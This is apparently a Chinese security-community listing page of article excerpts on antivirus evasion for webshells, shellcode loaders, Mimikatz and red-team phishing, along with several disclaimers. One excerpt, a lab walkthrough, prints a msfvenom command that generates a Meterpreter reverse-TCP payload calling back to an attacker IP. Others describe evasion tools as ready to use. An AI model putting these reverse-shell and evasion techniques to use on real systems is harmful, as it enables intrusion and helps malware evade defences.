在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后，我开始学习和研究市面上知名度比较高的免杀工具，从互联网上找到了大约 30 多个免杀工具，从中筛选出来了 21 个工具进行免杀测试和学习，耗时一个多月时间。
1、远控免杀专题(1)-基础篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg
有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方，但是经常会被安全狗、D盾、护卫神、云锁等安全软件查杀，在本篇文章中将会介绍一些常用的木马免杀技巧，主要针对安全狗、护卫神、D盾进行免杀~
如果我们知道了一个文件是病毒，那么通过md5肯定可以判断一个就是这个病毒文件，那如果该病毒文件做了小小变动呢，直接md5肯定是不行了，那杀毒软件是怎么做的呢？这里有个叫做模糊哈希（Fuzzy Hashing）算法的东西。
锦鲤安全的技术文章仅供参考，此文所提供的信息仅供网络安全人员学习和参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。如有侵权烦请告知，我们会立即删除并致歉。本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！谢谢！
「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2021年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
随着安全防护技术水平的提高以及安全设备对攻击行为检测能力的提升，传统WEB攻击手段越来越难以有效突破防守单位的高强度防守。钓鱼攻击逐渐受到红队的重视。与传统的攻击手段相比，钓鱼攻击成功率高，往往能达到较好的攻击效果。
经常看到各种免杀的例子，源码免杀、二进制免杀、加载器免杀等等，最近来学习了一下源码层面的免杀，在实验过程中与杀软对抗最终成功免杀，写下本文做个记录。
1、远控免杀专题文章(1)-基础篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg
发现依旧绕不过，其实原因就是杀软的匹配规则，有的是单一匹配，有的是同时匹配，因此我们换一个之前不免杀的webshell（由于两处及以上特征存在导致被查杀）
WIN10更新至最新版20H2发现，查杀能力比以前强了不少，特别是针对CS加载.NET程序集或NIM加载.NET的查杀，毕竟你要调用的函数微软很了解，它想拦截想杀还是比较容易的。但是不知道大家有没听说过一个故事“微软的编程工具的开发工程师，编写程序时，也需要查阅文档”，说明什么？微软系统的API很多，是微软写的没错，但又不是一个人自己写的，就算是一个人自己写的，功能那么多，他也根本记不起，用到自己的东西也要查阅文档，就像我用Ladon有时也要查阅文档，这很正常，因为我写过的工具或功能太多，有些久不用，甚至都会忘记我自己写过什么。所以我想说的是，微软就算做杀软，它也不可能做到全面监控，因为参与开发杀软的人，它不可能对微软系统上百万函数了如指掌，越是大型程序，需要的开发人员越多，很多人都只是负责某一模块对整个系统可能只是一只半解，所以Defender虽然查杀能力某些方面有点加强了，但是很多方面它依旧无法查杀，还没达到自己人写的程序就真比其它杀软牛B的地步，那些专门做杀软的，逆向能力很强，有BIN文件对他们来说就相当于源代码，很多人比微软员工还要了解win系统。举个简单的例子，你在某公司工作，有些员工可能你压根都不认识，更别说和公司所有程序员了解他们所写过的代码，微软的操作系统有多少人来写，defender这部门又只有多少人，他们怎么可能把所有函数都了解，就算24小时不吃饭不做任何事，只研究代码也做不到全面查杀或拦截，至少最近几年还比不过很多主流杀软。任何一个杀软能查杀一个全球大量人使用的工具这是应该也是必须的很常规的考验，杀了不代表这杀软就强了，但是不杀它一定是垃圾。如CS，因为全球大量人使用，任何一个杀软杀它都说明不了什么。好了废话不多说，进入正题。
今年参加了几次攻防演练对抗赛，其它队伍依靠社工结合文件钓鱼得了不少分，自己之前并没有相关知识的积累，因此在这个方面吃了一些亏。
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号亿人安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
安装mingw-w64，如果不安装，则不能正常生成相关shell，安装也很简单，执行下面命令即可。
@Zack 师傅写的一款红队专用免杀木马生成器，采用 PEM 加密动态嵌入 XOR 的方式生成木马，生成木马可以自定义名称和ICO图标。
编译生成Project1.exe，将其传入装有360和火绒的Windows靶机进行免杀测试。
UNIX 系统一直有着功能强大的壳程序（shell），Windows PowerShell 的诞生就是要提供功能相当于 UNIX 系统的命令行壳程序（例如：sh、bash 或 csh），同时也内置脚本语言以及辅助脚本程序的工具，使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。
b)360杀毒安装包。有老版本的尽量使用老版本的安装包。应为新版本的即使你关了上传还是会上传。
Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具，理论上可以抓取所有windows系统的明文密码（winxp之前的好像不行），因此在内网渗透过程中应用非常广，属于内网渗透必备工具之一，被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能，它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多，本文主要是介绍一下mimikatz的一些免杀方式。
目前网上有很多的自动生成免杀shellcode的工具，但是要知道杀毒软件检测某个免杀工具也是非常容易的，因为这些流行工具的指纹很容易被杀软公司搜集到然后加入特征库，这样就使得通过这个工具制作的shellcode免杀基本上就失灵了，工具就变得很容易过时，所以我们需要来自己制作免杀。
访问 / SiteServer / 跳转至登陆页面，谷歌一波发现历史漏洞，直接禁用 js 可重置密码
访问/SiteServer/跳转至登陆页面，谷歌一波发现历史漏洞，直接禁用js可重置密码
在经过一段时间研究使用go语言进行shellcode加载器免杀之后发现go语言的效果并没有以前那么好了，在近一段时间看公众号文章时发现了nim语言，该语言很小众，杀软对其针对的力度可能比较小，在教育护网前做一个初步的研究。
之前制作了VT查杀1的免杀马，于是我自夸了一句过VT和微步，但是群里面有小伙伴说：
掩日免杀是一个非常优秀的项目，目前在4月19号已经更新，更新的变动较大，支持的种类更多，在这里再试试现在的效果如何： https://github.com/1y0n/av_evasion_tool/
对于网站木马总重要的就是隐匿性和免杀.在说免杀之前,我想先说说有关于隐匿性的两个小细节.
github一直是it行业最大的同性交流网站，上面的开源好项目非常之多，不少的渗透好工具都出自github上面的大佬，尤其是免杀的loader，github一直是好免杀的藏宝阁，拿来就能用，拿来就能免，除非被杀软标记很多的项目，大部分免杀效果都很好的。
Golang-Gin 框架写的免杀平台，内置分离、捆绑等多种BypassAV方式。
随着杀毒软件病毒库的日益庞大，病毒被杀的的概率也越来越大。往往早上编写完成的病毒，到了下午就被列入病毒库。面对病毒被杀的尴尬，我们只能走一条路：免杀。
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
这一节将来看看杀毒软件相关的概念，毕竟知己知彼才能百战不殆，最后会介绍一下常见的免杀方法。
大家好，又见面了，我是你们的朋友全栈君。 微信公众号：乌鸦安全 扫取二维码获取更多信息！ 📷 1. 环境 攻击机： kali linux 10.211.55.23 受害机： Windows10 360主动防御 Windows7 火绒主动防御 2. 生成exe文件 在kali linux下使用msfvenom生成一个64位的exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.23 lport=4444 -f ex
忘了几时搞的了，过过静态没什么问题，实战运行差不多四五分钟就被联网查了，没什么用，也没技术含量，文章也是那个时候写完存在本地的，现在隐约感觉哪里有逻辑错误，但是我也懒得改了，给我凑篇水文而已（
webshell这个东西对于web方向的还是极其重要的，getshell被杀了很难受，于是来研究一波自己的免杀马儿，毕竟别人没有自己的好用，而且分享出来分分钟被杀。
攻击机： win7 IP： 192.168.32.134 靶机： windows server 2012（安装360、火绒） IP： 192.168.32.133
免杀，又叫免杀毒技术，是反病毒，反间谍的对立面，是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为。免杀的基本特征是破坏特征，有可能是行为特征，只要破坏了病毒与木马所固有的特征，并保证其原有功能没有改变，一次免杀就能完成了。免杀技术也并不是十恶不赦的，例如，在软件保护所用的加密产品（比如壳）中，有一些会被杀毒软件认为是木马病毒；一些安全领域中的部分安全检测产品，也会被杀毒软件误杀，这时就需要免杀技术来应对这些不稳定因素。
本次文章隔壁二狗代发，主要说下新的加载器免杀以及一些事，先把今天的主角加载器说下。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
